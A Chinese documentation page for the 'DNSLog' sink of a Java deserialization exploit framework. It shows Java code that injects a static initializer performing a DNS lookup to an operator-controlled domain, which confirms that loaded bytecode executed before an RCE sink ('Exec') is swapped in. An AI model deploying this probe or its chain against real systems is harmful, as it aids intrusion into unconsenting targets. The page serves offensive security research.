Skip to content

Latest commit

 

History

History
68 lines (57 loc) · 3.96 KB

File metadata and controls

68 lines (57 loc) · 3.96 KB

发起DNSLog请求(DNSLog)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:Ar3h
  • 依赖:无(仅需目标 JVM 与 DNS 解析)

作用

生成一段字节码:其静态初始化块在类被加载时对指定域名执行 InetAddress.getByName(dnslog),向 DNSLog 平台发起一次 DNS 解析。用于探测字节码是否被成功加载/执行(出网探测的最小验证),是 RCE sink 之前的「打点」构件。

链接标签

  • 入口 tags
    • Bytecode —— 声明产出原始字节码 byte[],可被 nextTags=Bytecode 的字节码加载器 BytecodeConvert 承接(后者再包进 TemplatesImpl 等装载点)。
    • END —— 链终止标签,本 gadget 是最内层 sink。
  • 衔接 nextTags:空 —— 自身即字节码源头。
  • excludes:无。

源码剖析

gadget 本体只做「取模板字节码 → 回填域名 → 返回」:

@Param(name="DNSLog地址", description="eg: x.dnslog.cn")
public String dnslog;

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(DNSLogBytecode.class); // 载入模板类
    javassistHelper.modifyStringField("dnslog", this.dnslog);   // 把静态字段 dnslog 改写为用户域名
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    this.context = context;
    chain.doCreate(context);          // 遵守由内向外约定(本类为 END)
    byte[] bytes = this.getObject();
    return bytes;
}

modifyStringField("dnslog", ...) 通过 Javassist 直接改写模板类字节码里 static String dnslog 字段的常量值,无需重新编译源码。真正执行探测的是被改写的模板类 DNSLogBytecode

public class DNSLogBytecode {
    public static String dnslog;
    public DNSLogBytecode() {
        try { InetAddress.getByName(dnslog); }          // 触发 DNS 解析
        catch (UnknownHostException e) { /* 忽略 */ }
    }
    static { new DNSLogBytecode(); }                     // 类初始化即执行
}

触发链条:上游加载器(如 TemplatesImpl.newTransformer()defineClass + newInstance 这段字节码 → 触发 <clinit> 静态块 → new DNSLogBytecode() → 构造器里 InetAddress.getByName(dnslog) 发起对 dnslog 的 DNS 查询。攻击者在 DNSLog 平台收到解析记录,即证明「字节码已被成功加载执行、且目标可出网 DNS」。异常被静默吞掉,不影响探测效果、也不留下报错噪声。

DNSLogWithInfoDNSLogAndHttp 的区别:本类最朴素,只解析裸域名,不拼接利用链名/操作系统等信息子域名。

参数(@Param)

字段 名称 说明 默认 可选值
dnslog DNSLog地址 接收解析的 DNSLog 域名,如 x.dnslog.cn 任意可控域名

适用版本与原理要点

  • description:「发起 DNSLog 请求的字节码,用于探测字节码是否可以执行成功」。
  • 不依赖第三方库,跨 JDK 通用;只要目标能加载该类并能出网 DNS 即可。
  • 是「先探测、后利用」策略里的验证环节:确认字节码通道打通后,再把 sink 换成 Exec 等真正的 RCE 构件。

所属预设链

自由构件,未直接出现在 51 条预设链中(预设的「DNSLog探测链」用的是信息更丰富的 DNSLogWithInfo)。可手动与 BytecodeConvert 组成 [BytecodeConvert, DNSLog] 使用。

关联

  • 上游加载器(承接 Bytecode):BytecodeConvertTemplatesImpl
  • 同族探测 sink:DNSLogWithInfo(附带链信息/系统信息子域名)、DNSLogAndHttp(同时探测 DNS 与 HTTP 出网并回传环境)。
  • 功能对位的 RCE sink:Exec(确认通道后替换)。